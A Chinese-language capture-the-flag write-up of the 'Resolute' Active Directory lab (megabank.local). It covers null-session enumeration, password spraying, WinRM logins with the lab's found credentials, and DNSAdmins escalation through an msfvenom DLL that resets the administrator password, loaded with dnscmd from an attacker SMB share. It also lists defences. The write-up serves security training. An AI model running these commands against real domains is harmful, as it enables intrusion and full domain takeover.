AD-Resolute详解
字数 1240 2025-08-12 11:34:48
AD-Resolute 域渗透实战详解
0x00 靶机环境概述
本靶机是一个典型的Active Directory域环境,域名为megabank.local。通过渗透测试,我们将学习从初始信息收集到最终获取域控权限的完整过程。
0x01 信息收集阶段
1.1 端口扫描与服务识别
使用nmap进行端口扫描,发现以下关键服务:
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2008 R2 - 2012
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
关键发现:
- 域名为megabank.local
- 开放了LDAP服务(389/tcp)
- 启用了WinRM服务(5985/tcp)
- SMB签名已启用且为必需
1.2 RPC空会话枚举
使用rpcclient进行空会话枚举:
rpcclient -U "" -N 10.10.10.169
常用命令:
enumdomusers- 枚举域用户querydispinfo- 显示用户列表和描述信息
重要发现:在用户描述字段中发现了marko用户的明文密码"Welcome123!"
0x02 密码喷洒攻击
2.1 验证发现的凭据
使用crackmapexec验证发现的凭据:
crackmapexec smb 10.10.10.169 -u userlist.txt -p 'Welcome123!' --continue-on-success
发现用户melanie可以使用该密码登录。
2.2 获取初始访问权限
使用evil-winrm工具登录:
evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'
关键发现:在melanie用户的目录下发现包含ryan用户凭据的txt文件:
- 用户名:ryan
- 密码:Serv3r4Admin4cc123!
0x03 权限提升路径
3.1 获取ryan用户权限
使用evil-winrm登录ryan账户:
evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'
发现note.txt内容:
由于更改冻结,任何系统更改(除了管理员帐户的更改)将在1分钟内自动恢复
3.2 发现特权组
检查用户组成员:
whoami /all
发现ryan用户是DNSAdmins组成员。
DNSAdmins组权限:
- 读取、写入、创建所有子对象
- 删除子对象
- 特殊权限
- 在某些配置下可能拥有启动/停止DNS服务的权限
3.3 通过DLL注入提权
3.3.1 生成恶意DLL
使用msfvenom生成执行命令的DLL:
msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll
3.3.2 设置SMB共享
启动SMB共享服务:
smbserver.py SHARE ./
3.3.3 配置DNS插件DLL
在目标机器上执行:
cmd /c dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.16.12\share\da.dll
3.3.4 重启DNS服务
sc.exe stop dns
sc.exe start dns
3.3.5 验证提权
使用新创建的凭据登录:
psexec.py megabank.local/administrator@10.10.10.169
输入密码:P@s5w0rd123!
0x04 技术原理分析
4.1 DNSAdmins组提权原理
DNSAdmins组成员可以配置DNS服务器加载自定义DLL。当DNS服务重启时,系统会以SYSTEM权限加载该DLL,从而实现权限提升。
4.2 防御措施
- 限制DNSAdmins组的成员
- 监控DNS服务器配置更改
- 限制远程DLL加载
- 实施最小权限原则
0x05 总结与思考
本次渗透测试的关键路径:
- 通过RPC空会话枚举发现用户描述中的明文密码
- 使用密码喷洒攻击获取初始立足点
- 在用户目录中发现其他用户凭据
- 利用DNSAdmins组权限通过DLL注入实现提权
学习要点:
- 用户描述字段可能包含敏感信息
- 密码重用是常见的安全问题
- 特权组成员资格是权限提升的重要途径
- 服务配置修改可能带来安全风险